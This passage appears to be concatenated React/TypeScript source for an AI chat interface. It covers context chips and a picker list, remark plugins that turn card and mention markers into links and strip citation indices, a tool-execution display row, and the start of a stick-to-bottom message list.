knowledge, so the host node owns its full chrome (the\n   * `onRemove` affordance is NOT wrapped around host-rendered items — this is\n   * meant for the read-only message bubble, mirroring `renderMention`).\n   */\n  renderItem?: (item: ChatContextItem) => ReactNode;\n  disabled?: boolean;\n  className?: string;\n}\n\n/**\n * Horizontal strip of selected-context chips. Returns `null` when empty — no\n * permanent footprint. Used both in the composer (removable) and on the sent\n * user bubble (read-only, no `onRemove`).\n */\nexport function ChatContextChipStrip({\n  items,\n  onRemove,\n  resolveIcon,\n  renderItem,\n  disabled = false,\n  className,\n}: ChatContextChipStripProps) {\n  if (items.length === 0) return null;\n  return (\n    // `tag` pills (Figma 1:6073): 32px tall, card surface, bordered, mono-\n    // uppercase label, 16px lead icon + xmark-circle remove. Wraps to new rows.\n    <div className={cn('flex flex-wrap content-center items-center gap-2', className)}>\n      {items.map(item => {\n        // Host-rendered chip (self-fetching mention analogue) takes over the\n        // whole pill when provided and non-null; otherwise the default pill.\n        const hostNode = renderItem?.(item);\n        if (hostNode != null) return <Fragment key={itemKey(item)}>{hostNode}</Fragment>;\n        return (\n          <div\n            key={itemKey(item)}\n            className=\"flex h-8 shrink-0 items-center gap-2 rounded-md border border-ods-border bg-ods-card px-2\"\n            role=\"group\"\n            aria-label={`Context ${item.label}`}\n          >\n            {resolveIcon && (\n              <span className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary [&_svg]:size-4\">\n                {resolveIcon(item)}\n              </span>\n            )}\n            <span\n              className=\"max-w-[220px] truncate font-mono font-medium uppercase tracking-[-0.28px] text-ods-text-primary text-h5\"\n              title={item.label}\n            >\n              {item.label}\n            </span>\n            {onRemove && (\n              <button\n                type=\"button\"\n                onClick={() => onRemove(item)}\n                disabled={disabled}\n                aria-label={`Remove ${item.label}`}\n                className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary outline-none transition-colors hover:text-ods-text-primary focus-visible:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 [&_svg]:size-4\"\n              >\n                <XmarkCircleIcon size={16} />\n              </button>\n            )}\n          </div>\n        );\n      })}\n    </div>\n  );\n}\n","'use client';\n\n/**\n * Shared building blocks for the entity-context picker's ITEMS level\n * (Figma 31:29102). The picker SHELL (root menu, type list, search, Back) lives\n * in `chat-context-picker.tsx`; the per-type DATA is host-owned and rendered\n * via `ChatContextPickerConfig.renderItems`, which returns a `<ContextItemsList>`\n * fed from the host's own hooks (TanStack / react-relay).\n *\n * Row chrome here matches the design-system menu rows (same as `ActionsMenu`):\n * 16px→24px responsive icon, h4 label, border-b, hover surface.\n */\n\nimport { Component, type ReactNode, type UIEvent, useCallback } from 'react';\nimport { cn } from '../../utils/cn';\nimport { CheckFillIcon } from '../icons-v2-generated/signs-and-symbols/check-fill-icon';\nimport { Skeleton } from '../ui/skeleton';\nimport type { ChatContextItem } from './types/context-item.types';\n\nconst itemKey = (i: { type: string; id: string }) => `${i.type}:${i.id}`;\n\n// Shared row classes — used by the picker (root / types) and the item rows so\n// every level is visually identical and there's one source of truth.\nexport const CONTEXT_ROW_CLASS =\n  'flex w-full items-center gap-2 border-b border-ods-border bg-ods-bg py-3 pl-4 pr-2 text-left outline-none transition-colors last:border-b-0 hover:bg-ods-bg-hover focus-visible:bg-ods-bg-hover [&_svg]:size-4 md:[&_svg]:size-6';\nexport const CONTEXT_ICON_CLASS = 'flex size-4 shrink-0 items-center justify-center text-ods-text-secondary md:size-6';\nexport const CONTEXT_LABEL_CLASS = 'flex-1 truncate text-h4 font-medium leading-6 text-ods-text-primary';\nexport const CONTEXT_BACK_CLASS =\n  'flex shrink-0 items-center gap-2 border-b border-ods-border bg-ods-bg px-2 py-3 text-left text-h4 font-medium leading-6 text-ods-text-secondary outline-none transition-colors hover:text-ods-text-primary [&_svg]:size-4 md:[&_svg]:size-6';\nexport const CONTEXT_STATE_CLASS = 'bg-ods-bg px-4 py-3 text-h4 text-ods-text-secondary';\n\n// ===========================================================================\n// ROW — one menu row (icon + label + optional trailing). Shared primitive.\n// ===========================================================================\n\nexport interface ContextMenuRowProps {\n  /** Lead glyph (entity-type icon). Omit for item rows (label only). */\n  icon?: ReactNode;\n  label: ReactNode;\n  /** Trailing slot (e.g. the selected ✓). */\n  trailing?: ReactNode;\n  onClick?: () => void;\n  disabled?: boolean;\n  /** Selected state for `role=\"option\"` rows (aria + caller styling). */\n  selected?: boolean;\n  role?: 'menuitem' | 'option';\n  title?: string;\n}\n\nexport function ContextMenuRow({\n  icon,\n  label,\n  trailing,\n  onClick,\n  disabled = false,\n  selected,\n  role = 'menuitem',\n  title,\n}: ContextMenuRowProps) {\n  return (\n    <button\n      type=\"button\"\n      role={role}\n      aria-selected={role === 'option' ? selected : undefined}\n      disabled={disabled}\n      onClick={onClick}\n      title={title}\n      className={cn(CONTEXT_ROW_CLASS, disabled && 'cursor-not-allowed opacity-40 hover:bg-ods-bg')}\n    >\n      {icon != null && <span className={CONTEXT_ICON_CLASS}>{icon}</span>}\n      <span className={CONTEXT_LABEL_CLASS}>{label}</span>\n      {trailing}\n    </button>\n  );\n}\n\n// ===========================================================================\n// SKELETON — Suspense fallback (initial load) + inline load-more rows.\n// ===========================================================================\n\nexport function ContextItemsSkeleton({ count }: { count: number }) {\n  return (\n    <>\n      {Array.from({ length: count }, (_, i) => (\n        <div\n          key={`ctx-skeleton-${i}`}\n          className=\"flex items-center border-b border-ods-border bg-ods-bg py-3 pl-4 pr-2 last:border-b-0\"\n        >\n          <Skeleton className=\"h-5 w-1/2\" />\n        </div>\n      ))}\n    </>\n  );\n}\n\n// ===========================================================================\n// LIST — host-fed items + scroll-driven load-more. (Initial load / errors are\n// handled by the picker's <Suspense> / error boundary around renderItems.)\n// ===========================================================================\n\nexport interface ContextItemsListProps {\n  items: ChatContextItem[];\n  /** Selected keys (`${type}:${id}`) for the ✓ state. */\n  selectedKeys: Set<string>;\n  onToggle: (item: ChatContextItem) => void;\n  /** Selection cap reached → non-selected rows disabled. */\n  atLimit: boolean;\n  /** Another page is available. */\n  hasMore?: boolean;\n  /** Load the next page (called when the user nears the bottom). */\n  onLoadMore?: () => void;\n  /** A page is currently loading (shows inline skeleton rows). */\n  loadingMore?: boolean;\n  emptyLabel?: string;\n  className?: string;\n}\n\nexport function ContextItemsList({\n  items,\n  selectedKeys,\n  onToggle,\n  atLimit,\n  hasMore = false,\n  onLoadMore,\n  loadingMore = false,\n  emptyLabel = 'No results',\n  className,\n}: ContextItemsListProps) {\n  const onScroll = useCallback(\n    (e: UIEvent<HTMLDivElement>) => {\n      if (!hasMore || loadingMore || !onLoadMore) return;\n      const el = e.currentTarget;\n      if (el.scrollHeight - el.scrollTop - el.clientHeight <= 48) onLoadMore();\n    },\n    [hasMore, loadingMore, onLoadMore],\n  );\n\n  if (items.length === 0 && !loadingMore) {\n    return <div className={CONTEXT_STATE_CLASS}>{emptyLabel}</div>;\n  }\n\n  return (\n    <div\n      role=\"listbox\"\n      aria-label=\"Items\"\n      onScroll={onScroll}\n      // Cap to 340px but never exceed ~half the viewport, so on short screens the\n      // results list (inside the bottom-anchored picker popover) still fits and\n      // scrolls instead of overflowing past the top edge.\n      className={cn('max-h-[min(340px,45vh)] overflow-y-auto overscroll-contain', className)}\n    >\n      {items.map(item => {\n        const selected = selectedKeys.has(itemKey(item));\n        return (\n          <ContextMenuRow\n            key={itemKey(item)}\n            role=\"option\"\n            selected={selected}\n            disabled={!selected && atLimit}\n            onClick={() => onToggle(item)}\n            label={item.label}\n            title={!selected && atLimit ? 'Selection limit reached' : undefined}\n            trailing={selected ? <CheckFillIcon className=\"size-4 shrink-0 text-ods-accent md:size-6\" /> : undefined}\n          />\n        );\n      })}\n      {loadingMore && <ContextItemsSkeleton count={3} />}\n    </div>\n  );\n}\n\n// ===========================================================================\n// ERROR BOUNDARY — catches a failed host items fetch; resets when the\n// (type, query) key changes so a new search retries.\n// ===========================================================================\n\nexport interface ContextErrorBoundaryProps {\n  /** Change this (e.g. `type:query`) to clear a previous error and retry. */\n  resetKey: string;\n  /** Error UI. As a render-prop it receives a `retry` callback that clears the\n   *  boundary so the children re-mount (pair it with react-query's `reset()` so\n   *  the cached suspense error is dropped and the fetch actually re-runs). */\n  fallback: ReactNode | ((retry: () => void) => ReactNode);\n  children: ReactNode;\n}\n\nexport class ContextErrorBoundary extends Component<ContextErrorBoundaryProps, { errored: boolean }> {\n  state = { errored: false };\n\n  static getDerivedStateFromError() {\n    return { errored: true };\n  }\n\n  componentDidUpdate(prev: ContextErrorBoundaryProps) {\n    if (prev.resetKey !== this.props.resetKey && this.state.errored) {\n      this.setState({ errored: false });\n    }\n  }\n\n  private retry = () => {\n    if (this.state.errored) this.setState({ errored: false });\n  };\n\n  render() {\n    if (!this.state.errored) return this.props.children;\n    return typeof this.props.fallback === 'function' ? this.props.fallback(this.retry) : this.props.fallback;\n  }\n}\n","'use client';\n\nimport type React from 'react';\n\nexport interface BlockCardProps {\n  /** The inline pill rendered AT the marker position inside the\n   *  paragraph. Typically the existing compact entity card (e.g. the\n   *  56×56 thumbnail card for webinars / customer interviews). When\n   *  omitted, the marker is replaced by the ref title in a plain\n   *  inline `<span>`. */\n  inline?: React.ReactNode;\n  /** The block-level content rendered as a SIBLING below the markdown\n   *  paragraph. Use for elements that cannot legally nest inside\n   *  `<p>` — `<div>`, `<header>`, `<EntityVideoSection>`, `<Video>`,\n   *  etc. The pre-scan in `chat-message-enhanced` extracts this and\n   *  appends it after the `<SimpleMarkdownRenderer>` output for the\n   *  containing segment, where block content is HTML-valid. */\n  children: React.ReactNode;\n}\n\n/**\n * Sentinel wrapper for `renderEntityCard` returns whose payload is\n * block-level (divs / header / `<EntityVideoSection>` / `<Video>`) and\n * therefore cannot legally render inside the assistant message's\n * markdown paragraph.\n *\n * The chat renderer (`chat-message-enhanced.tsx`) does a pre-scan of\n * each `text` segment's `[card://type:id]` markers, calls\n * `renderEntityCard(ref)` for each, and detects `<BlockCard>` by React\n * element type identity. When detected:\n *   1. `inline` is placed AT the marker position inside the `<p>` —\n *      keeps the existing compact-card UX intact.\n *   2. `children` is appended as a sibling BELOW the paragraph — where\n *      block content is HTML-valid and the browser doesn't eject it\n *      with a hydration mismatch.\n *\n * The component itself never renders — it's a tag, not a wrapper. The\n * `return null` is unreachable in practice (the pre-scan replaces every\n * `<BlockCard>` before render), but kept as a defensive no-op so a\n * mis-routed `<BlockCard>` outside the chat path doesn't crash.\n */\nexport function BlockCard(_props: BlockCardProps): React.ReactElement | null {\n  return null;\n}\n","/**\n * Remark plugin that walks markdown text leaves and replaces `[card://<type>:<id>]`\n * patterns with synthetic `link` mdast nodes. The link's `url` is the literal\n * `card://<type>:<id>` (a non-standard scheme) so the downstream `<a>`\n * component override can detect it and delegate rendering to the host's\n * `renderEntityCard` callback (see `chat-message-enhanced.tsx`).\n *\n * Why a remark plugin (NOT a regex on the raw markdown source):\n *   - Preserves bold / italic / list / code wrapping around the marker.\n *     `**The [card://webinar:42] discussed pricing**` keeps the bold span\n *     because the plugin only splits TEXT leaves; the strong wrapper is\n *     untouched.\n *   - No clash with rehype-raw — the marker disappears before the HTML pass.\n *\n * Per v6.1 §B.2.6: \"implement as a `react-markdown` `components.text` override\n * OR a remark plugin. NOT a regex-on-raw-text pre-pass (which loses formatting).\"\n *\n * Marker grammar: `chat-protocol/card-marker.ts`, shared with the pre-scan in\n * `chat-message-enhanced.tsx` and with the metadata decoder. It must be the\n * same grammar in all three: this plugin is what turns a marker into a card, so\n * a marker the pre-scan accepts and this one rejects is split out of the text\n * and then never rendered — the reader is left with the literal `[card://…]`.\n */\n\nimport type { Root, Text, Link } from 'mdast';\nimport type { Plugin } from 'unified';\nimport { visit, SKIP } from 'unist-util-visit';\n\nimport { createCardMarkerScanner } from '../../chat-protocol/card-marker';\n\n// The closer is `]` per spec, but `)` is tolerated too — the LLM occasionally\n// drifts to `)` after long dashed UUID ids (bracket-balancing noise on opaque\n// tokens; reproduced in production with podcast UUIDs). `[card://type:id)` is\n// not valid markdown syntax anywhere else (regular links are `[text](url)`, not\n// `[text)`), so the wider closer has no false positives. Both that and the id\n// charset now live in the shared grammar.\nconst CARD_REGEX = createCardMarkerScanner();\n\nexport const remarkCardLinks: Plugin<[], Root> = () => {\n  return (tree: Root) => {\n    visit(tree, 'text', (node: Text, index, parent) => {\n      if (!parent || typeof index !== 'number') return undefined;\n      const text = node.value;\n      if (!text || !text.includes('[card://')) return undefined;\n\n      // Walk the regex and split the text into a sequence of text + link nodes.\n      // The link's `children` carry the original literal so unresolved-marker\n      // fallbacks (host renderer produced nothing) render the literal text\n      // instead of a broken anchor.\n      const parts: Array<Text | Link> = [];\n      let lastIndex = 0;\n      // Reset the regex lastIndex for each invocation — `g` flag carries state.\n      CARD_REGEX.lastIndex = 0;\n      let match: RegExpExecArray | null;\n      while ((match = CARD_REGEX.exec(text)) !== null) {\n        const matchStart = match.index;\n        if (matchStart > lastIndex) {\n          parts.push({ type: 'text', value: text.slice(lastIndex, matchStart) });\n        }\n        const cardType = match[1];\n        const cardId = match[2];\n        parts.push({\n          type: 'link',\n          url: `card://${cardType}:${cardId}`,\n          // Keep the raw marker as the visible text so unknown-ref renderers\n          // can fall back to title-only formatting (the chat-side override\n          // looks up refs by url and replaces children when found).\n          children: [{ type: 'text', value: match[0] }],\n        });\n        lastIndex = matchStart + match[0].length;\n      }\n      if (lastIndex === 0) return undefined; // no matches\n\n      if (lastIndex < text.length) {\n        parts.push({ type: 'text', value: text.slice(lastIndex) });\n      }\n\n      // Replace the original text node in-place. Skip past the inserted nodes\n      // so the visitor doesn't recurse into them (the new text leaves can't\n      // contain the marker by construction; skipping is a safety net).\n      parent.children.splice(index, 1, ...parts);\n      return [SKIP, index + parts.length];\n    });\n  };\n};\n","/**\n * Remark plugin that walks markdown text leaves and replaces inline entity\n * mentions `@<marker>:<id>` (e.g. `@device:64f0a1`, `@kb:5`) with synthetic\n * `link` mdast nodes whose `url` is `mention://<marker>:<id>` (a non-standard\n * scheme). The downstream `<a>` component override in `chat-message-enhanced`\n * detects that scheme and renders an inline `<Tag>`-style chip, resolving the\n * display name from the message's `contextItems`.\n *\n * Sibling of `remark-card-links` (which handles the ASSISTANT-side\n * `[card://type:id]` markers). This one handles the USER-side `@marker:id`\n * tokens the composer commits when picking context via the `@`-mention flow.\n *\n * Why a remark plugin (NOT a regex on the raw markdown source): it splits only\n * TEXT leaves, so bold / italic / list / code wrappers around a mention stay\n * intact, and the marker disappears before any rehype-raw HTML pass.\n *\n * Grammar:\n *   - marker: `[a-zA-Z]+` — the backend `ContextItemType.marker()` short form\n *     (`device`, `script`, `ticket`, `organization`, `user`, `kb`, `policy`,\n *     `query`, `scheduledScript`, …). Mostly lowercase, but NOT guaranteed to be:\n *     the marker is matched verbatim by the backend's `MentionParser`, and\n *     `SCHEDULED_SCRIPT` ships as camelCase `scheduledScript` — a lowercase-only\n *     grammar silently dropped that whole token (no chip, raw text in the bubble).\n *   - id: charset `[A-Za-z0-9_.+/=-]` (UUIDs with hyphens, fleet numeric ids,\n *     base64 global ids, etc.; matches the composer's `MENTION_TOKEN`) — but the\n *     id may NOT END in `.` or `-`, so a trailing SENTENCE period/dash isn't\n *     swallowed into the id (`@script:38.` → id `38`, with the `.` left as text).\n *     Base64 padding `=` and `+`/`/` are still valid final chars.\n *   - A LEFT boundary (start-of-text or any non-word, non-`@` character) keeps\n *     `@marker:` from matching inside emails / mid-word (`user@host:1234` never\n *     starts a token because the `@` is preceded by a word char), while still\n *     firing when the agent wraps a mention in punctuation — parentheses,\n *     brackets, quotes — e.g. `(@device:64f0a1)`. The boundary character (if\n *     any) is captured as `lead` and re-emitted as text, so it is preserved.\n */\n\nimport type { Root, Text, Link } from 'mdast';\nimport type { Plugin } from 'unified';\nimport { visit, SKIP } from 'unist-util-visit';\n\nconst MENTION_REGEX = /(^|[^\\w@])@([a-zA-Z]+):([A-Za-z0-9_.+/=-]*[A-Za-z0-9_+/=])/g;\n\nexport const remarkMentionChips: Plugin<[], Root> = () => {\n  return (tree: Root) => {\n    visit(tree, 'text', (node: Text, index, parent) => {\n      if (!parent || typeof index !== 'number') return undefined;\n      const text = node.value;\n      if (!text || !text.includes('@')) return undefined;\n\n      const parts: Array<Text | Link> = [];\n      let lastIndex = 0;\n      MENTION_REGEX.lastIndex = 0;\n      let match: RegExpExecArray | null;\n      while ((match = MENTION_REGEX.exec(text)) !== null) {\n        const lead = match[1]; // '' or the boundary char before '@' (space, '(', etc.)\n        const marker = match[2];\n        const id = match[3];\n        const tokenStart = match.index + lead.length; // position of '@'\n        if (tokenStart > lastIndex) {\n          parts.push({ type: 'text', value: text.slice(lastIndex, tokenStart) });\n        }\n        parts.push({\n          type: 'link',\n          url: `mention://${marker}:${id}`,\n          // Keep the raw token as the visible children so an unresolved mention\n          // (no matching context item) falls back to the literal text.\n          children: [{ type: 'text', value: `@${marker}:${id}` }],\n        });\n        lastIndex = match.index + match[0].length;\n      }\n      if (lastIndex === 0) return undefined; // no matches\n\n      if (lastIndex < text.length) {\n        parts.push({ type: 'text', value: text.slice(lastIndex) });\n      }\n\n      parent.children.splice(index, 1, ...parts);\n      return [SKIP, index + parts.length];\n    });\n  };\n};\n","/**\n * Remark plugin that strips bare numeric citation tokens — `[1]`,\n * `[2, 3]` — from assistant chat markdown.\n *\n * RAG models habitually cite retrieved sources with bracketed indices\n * next to entity mentions (`[card://delivery_item:x] [1] **Title**`).\n * The chat surfaces sources as chips and entities as inline cards, so\n * the naked indices are pure noise — and when a card fetch misses they\n * were the ONLY thing left on the line (observed live: candidate lists\n * rendering as \"[1]\" + bold title).\n *\n * Deliberately conservative:\n *   - text leaves only (code/inline-code nodes are never visited);\n *   - 1–2 digit indices, optionally comma-separated;\n *   - the token must be delimiter-bounded on BOTH sides (start/whitespace\n *     before; whitespace/punctuation/end after) so technical prose like\n *     `array[1]` or `foo[12]bar` is untouched.\n */\n\nimport type { Root, Text } from 'mdast';\nimport type { Plugin } from 'unified';\nimport { visit } from 'unist-util-visit';\n\nconst CITATION_REGEX = /(^|\\s)\\[\\d{1,2}(?:\\s*,\\s*\\d{1,2})*\\](?=[\\s.,;:!?)\\]]|$)/g;\n\nexport const remarkStripCitations: Plugin<[], Root> = () => {\n  return (tree: Root) => {\n    visit(tree, 'text', (node: Text, index, parent) => {\n      if (!parent || typeof index !== 'number') return;\n      if (!node.value || !node.value.includes('[')) return;\n      const withoutCitations = node.value.replace(CITATION_REGEX, '$1');\n      // No citation matched → leave the node untouched, INCLUDING its\n      // whitespace (collapsing unconditionally would rewrite deliberate\n      // spacing in prose like `array[1]  value`).\n      if (withoutCitations === node.value) return;\n      // Replace the text node rather than editing `node.value` in place —\n      // same idiom as remark-card-links / remark-mention-chips next door, and\n      // the node the visitor was handed is left alone. The spread keeps\n      // `position` so source mapping survives. Length is unchanged, so the\n      // walker needs no index steering: it has already captured the original\n      // leaf and moves on to the next sibling, never re-entering this slot.\n      parent.children.splice(index, 1, {\n        ...node,\n        // Collapse doubled spaces the removal can leave mid-sentence.\n        value: withoutCitations.replace(/ {2,}/g, ' '),\n      });\n    });\n  };\n};\n","'use client';\n\nimport { forwardRef, useMemo, useState } from 'react';\n\nimport { cn } from '../../utils/cn';\nimport { CheckCircleIcon, DotsLoaderIcon, XmarkCircleIcon } from '../icons-v2-generated';\nimport type { ToolType } from '../platform';\nimport { ToolIcon } from '../tool-icon';\nimport { ExpandChevron } from './expand-chevron';\nimport { useCollapsible } from './hooks/use-collapsible';\nimport { ArgRow, ResultBlock } from './tool-call-blocks';\nimport type { ToolExecutionDisplayProps } from './types';\nimport { COMMAND_BODY_ARG_KEYS } from './utils/tool-call-helpers';\n\nconst COMMAND_BODY_KEYS = new Set<string>(COMMAND_BODY_ARG_KEYS);\n\nconst ToolExecutionDisplay = forwardRef<HTMLDivElement, ToolExecutionDisplayProps>(\n  ({ className, message, assistantType, variant = 'admin', ...props }, ref) => {\n    const [expanded, setExpanded] = useState(false);\n    const { innerRef, containerStyle } = useCollapsible({ expanded });\n    const isClient = assistantType === 'fae';\n    // Render audience (consumer-declared, NOT `assistantType`). The end-client\n    // Fae app (`'client'`) gets a static, non-expandable row — just the\n    // explanation + status; the command/args/result are admin-only detail the\n    // end user doesn't need. Every admin surface keeps the expandable accordion.\n    const isClientView = variant === 'client';\n\n    const isExecuting = message.type === 'EXECUTING_TOOL';\n    const isExecuted = message.type === 'EXECUTED_TOOL';\n    const integratedToolType = (message.integratedToolType as ToolType) || 'OPENFRAME';\n\n    // Header text depends on the render audience (the consumer-declared\n    // `variant`, NOT `assistantType`: a ticket's Fae client tab on the admin\n    // dashboard is still `assistantType === 'fae'`). The end-client Fae app\n    // (`variant === 'client'`) reads the human-readable explanation (what/why);\n    // every admin surface reads the concise BE-provided title. Each falls back\n    // to the other when its preferred field is absent (older backends /\n    // EXECUTED rows).\n    const previewText = variant === 'client' ? message.toolExplanation?.trim() : message.toolTitle?.trim();\n\n    const argEntries = useMemo<Array<[string, unknown]>>(() => {\n      if (!message.parameters || typeof message.parameters !== 'object') return [];\n      const entries = Object.entries(message.parameters).filter(([, v]) => v !== null && v !== undefined && v !== '');\n      // The end client (Fae app) never sees the raw command/query/script body —\n      // only the secondary args. Every admin surface DOES: surface the command\n      // body first (as a labeled `command:` row), then the rest of the args.\n      if (variant === 'client') {\n        return entries.filter(([k]) => !COMMAND_BODY_KEYS.has(k));\n      }\n      const commandEntries = entries.filter(([k]) => COMMAND_BODY_KEYS.has(k));\n      const otherEntries = entries.filter(([k]) => !COMMAND_BODY_KEYS.has(k));\n      return [...commandEntries, ...otherEntries];\n    }, [message.parameters, variant]);\n\n    const hasResult = isExecuted && typeof message.result === 'string' && message.result.length > 0;\n\n    // A remote (MCP) read-only tool deliberately publishes NO parameters and NO\n    // result — the backend hides both, and sends a human title instead. There is\n    // therefore nothing behind the chevron, and offering one is a promise the\n    // row cannot keep: the reader expands it and gets an empty box. Render the\n    // title as a status line instead, the same static shape the client view uses.\n    //\n    // Keyed on the absent `integratedToolType`, which is what marks a tool as\n    // remote rather than one of ours — and guarded on there being a title to\n    // show, so a title-less row keeps the old behaviour rather than collapsing\n    // to a blank line.\n    const isConciseRemoteRead = !message.integratedToolType && !!previewText && argEntries.length === 0 && !hasResult;\n    const isStaticRow = isClientView || isConciseRemoteRead;\n    const hasBody = argEntries.length > 0 || hasResult || isExecuting;\n\n    const renderStatusIcon = () => {\n      if (isExecuting) return <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />;\n      if (isExecuted && message.success === true) return <CheckCircleIcon className=\"h-4 w-4 text-ods-success\" />;\n      if (isExecuted && message.success === false) return <XmarkCircleIcon className=\"h-4 w-4 text-ods-error\" />;\n      return null;\n    };\n\n    const headerContent = (\n      <>\n        {!isClient && (\n          <div className=\"flex h-5 w-5 shrink-0 items-center justify-center\">\n            <ToolIcon toolType={integratedToolType} size={16} />\n          </div>\n        )}\n        <div\n          className={cn(\n            'min-w-0 flex-1 text-h6',\n            isClientView\n              ? 'whitespace-pre-wrap break-words text-ods-text-primary'\n              : expanded\n                ? 'whitespace-pre-wrap break-all text-ods-text-primary'\n                : 'line-clamp-2 max-h-10 break-all text-ods-text-secondary',\n          )}\n        >\n          {previewText}\n        </div>\n        <div className=\"flex h-5 w-5 shrink-0 items-center justify-center\">{renderStatusIcon()}</div>\n        {!isStaticRow && (\n          <div className=\"flex h-5 w-5 shrink-0 items-center justify-center\">\n            <ExpandChevron expanded={expanded} />\n          </div>\n        )}\n      </>\n    );\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          // The command running block keeps its bordered box in both chats\n          // (Figma 1972-6109). CLIENT (Fae) only drops the tool icon below.\n          'flex w-full flex-col overflow-hidden rounded-[6px] border border-ods-border bg-ods-card',\n          className,\n        )}\n        {...props}\n      >\n        {isStaticRow ? (\n          // Static, non-expandable row — no chevron, no body. Two cases reach\n          // here: the Fae end-user view (command/args/result are admin-only\n          // detail) and a remote read-only tool (there IS no detail).\n          <div className=\"flex w-full items-start gap-[var(--spacing-system-xs)] p-[var(--spacing-system-s)] text-left\">\n            {headerContent}\n          </div>\n        ) : (\n          <>\n            <button\n              type=\"button\"\n              className=\"flex w-full cursor-pointer items-start gap-[var(--spacing-system-xs)] p-[var(--spacing-system-s)] text-left\"\n              onClick={() => setExpanded(prev => !prev)}\n            >\n              {headerContent}\n            </button>\n\n            <div className=\"w-full\" style={containerStyle}>\n              <div ref={innerRef}>\n                {hasBody && (\n                  <div className=\"flex w-full flex-col items-start gap-0 bg-ods-card p-[var(--spacing-system-sf)] text-h6\">\n                    {argEntries.map(([key, value]) => (\n                      <ArgRow key={key} argKey={key} value={value} />\n                    ))}\n                    {hasResult && (\n                      <ResultBlock\n                        result={message.result}\n                        className={argEntries.length > 0 ? 'mt-[var(--spacing-system-xsf)]' : undefined}\n                      />\n                    )}\n                    {isExecuting && (\n                      <div\n                        className={cn(\n                          'flex w-full flex-col items-start gap-[var(--spacing-system-xxs)]',\n                          argEntries.length > 0 && 'mt-[var(--spacing-system-xsf)]',\n                        )}\n                      >\n                        <span className=\"text-ods-text-secondary\">Result:</span>\n                        <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />\n                      </div>\n                    )}\n                  </div>\n                )}\n              </div>\n            </div>\n          </>\n        )}\n      </div>\n    );\n  },\n);\n\nToolExecutionDisplay.displayName = 'ToolExecutionDisplay';\n\nexport { ToolExecutionDisplay };\n","'use client';\n\nimport {\n  useRef,\n  useState,\n  useCallback,\n  useEffect,\n  useLayoutEffect,\n  useImperativeHandle,\n  useMemo,\n  forwardRef,\n} from 'react';\nimport { useStickToBottom } from 'use-stick-to-bottom';\nimport { cn } from '../../utils/cn';\nimport { DotsLoaderIcon, Arrow02DownIcon } from '../icons-v2-generated';\nimport { OverlayOpenRegistryProvider } from '../ui/overlay-open-registry';\nimport { ChatMessageEnhanced } from './chat-message-enhanced';\nimport { ChatMessageListSkeleton } from './chat-message-skeleton';\nimport { CyclingPhrase } from './cycling-phrase';\nimport type { ChatMessageListProps } from './types';\nimport { SCROLL_ANCHOR } from './types/message.types';\nimport type { MessageContent } from './types/message.types';\n\n// Flamingo-themed cycling words shown next to the streaming indicator\n// (Claude-Code-style activity hint). Mix of classic AI verbs, flamingo\n// behaviours (strut/wade/preen/flock), and one Mingo neologism.\nconst STREAMING_WORDS = [\n  'Thinking',\n  'Vibing',\n  'Mingoing',\n  'Strutting',\n  'Pondering',\n  'Wading',\n  'Hatching',\n  'Preening',\n  'Conjuring',\n  'Riffing',\n] as const;\n\n/** Distance from the bottom (px) still counted as \"at the bottom\".\n *  Mirrors `use-stick-to-bottom`'s internal `STICK_TO_BOTTOM_OFFSET_PX`\n *  so the jump-to-bottom button and the library agree on the boundary. */\nconst BOTTOM_THRESHOLD_PX = 70;\n\n/** How long each follow re-assert keeps CHASING a moving bottom, in ms.\n *  Mirrors the library's own `RETAIN_ANIMATION_DURATION_MS`, which is the\n *  window its resize-follow uses for exactly this: while it is open the\n *  spring re-reads `calculatedTargetScrollTop` every frame instead of\n *  finishing against the target captured when the call was made. */\nconst FOLLOW_RETAIN_MS = 350;\n\n/*\n * Stick-to-bottom: `use-stick-to-bottom` (stackblitz-labs)\n *\n * The 2026 production-grade stick-to-bottom mechanism — same library\n * Vercel AI SDK Elements ships in `<Conversation>` and that powers\n * bolt.new's streaming chat. ResizeObserver on the content + spring-\n * physics scroll + correct user-escape detection (wheel / touch /\n * scrollTop-snapshot) + at-bottom geometry tracking. We removed the\n * hand-rolled v1 mechanism (per-render `lastMessage` useEffect + 1.5s\n * RO anchor + 4 racing scrollTop sites + wheel/touch handlers) which\n * had real-world failure modes around post-commit layout shifts.\n *\n * What we KEEP from v1 (the library doesn't cover these):\n *  - **Prepend anchoring** (load-older). When older messages prepend,\n *    we add `newScrollHeight - prevScrollHeight` to `scrollTop` so the\n *    user stays on the message they were reading. The library's\n *    contract is \"follow the bottom\"; preserving viewport position\n *    when content grows ABOVE is a separate concern owned by this\n *    component.\n *  - **Dialog-change + first-load + user-message → force-scroll**.\n *    We call `scrollToBottom({ animation: 'instant' })` explicitly\n *    for these transitions so the library skips its spring animation\n *    (an instant snap matches user expectation: \"I just opened a new\n *    chat / sent a message; show me the bottom immediately\").\n *  - **Load-more sentinel** (top-of-list IntersectionObserver) for\n *    infinite-scroll-UP. Distinct concern from stick-to-bottom.\n *  - **Bottom-follow intent** (see `followBottomRef` below). The\n *    library's follow is gated on its own `isAtBottom` flag, which this\n *    list's layout can lose silently; we own the INTENT and re-assert.\n *\n * `useStickToBottom`'s returned refs are MUTABLE refs + ref callbacks\n * — pass them directly as `ref={scrollRef}` / `ref={contentRef}`.\n */\n\n/** Whether a `Message.content` (string OR `MessageSegment[]`) carries\n *  visible text. The top-anchor effect uses this to skip the metadata-\n *  only commit (empty assistant bubble) and wait until the body chunk\n *  has landed in the DOM. */\nfunction hasNonEmptyContent(content: MessageContent): boolean {\n  if (typeof content === 'string') return content.length > 0;\n  if (!Array.isArray(content)) return false;\n  return content.some(s => s.type === 'text' && s.text.length > 0);\n}\n\n/** Async-growth watcher installed by the top-anchor effect for the 2s\n *  settle window. Single owner is `anchorWatcherRef`; the helper below\n *  is the only place that knows how to tear one down. */\ninterface AnchorWatcher {\n  id: string;\n  ro: ResizeObserver;\n  timer: ReturnType<typeof setTimeout>;\n}\n\n/** Idempotent tear-down for an `AnchorWatcher`. Used by both the\n *  inline supersede path (new top-anchor turn arrives mid-window) and\n *  the component-unmount cleanup. Caller owns the surrounding ref\n *  null-out — the helper itself doesn't touch the ref. */\nfunction disposeAnchorWatcher(w: AnchorWatcher | null): void {\n  if (!w) return;\n  w.ro.disconnect();\n  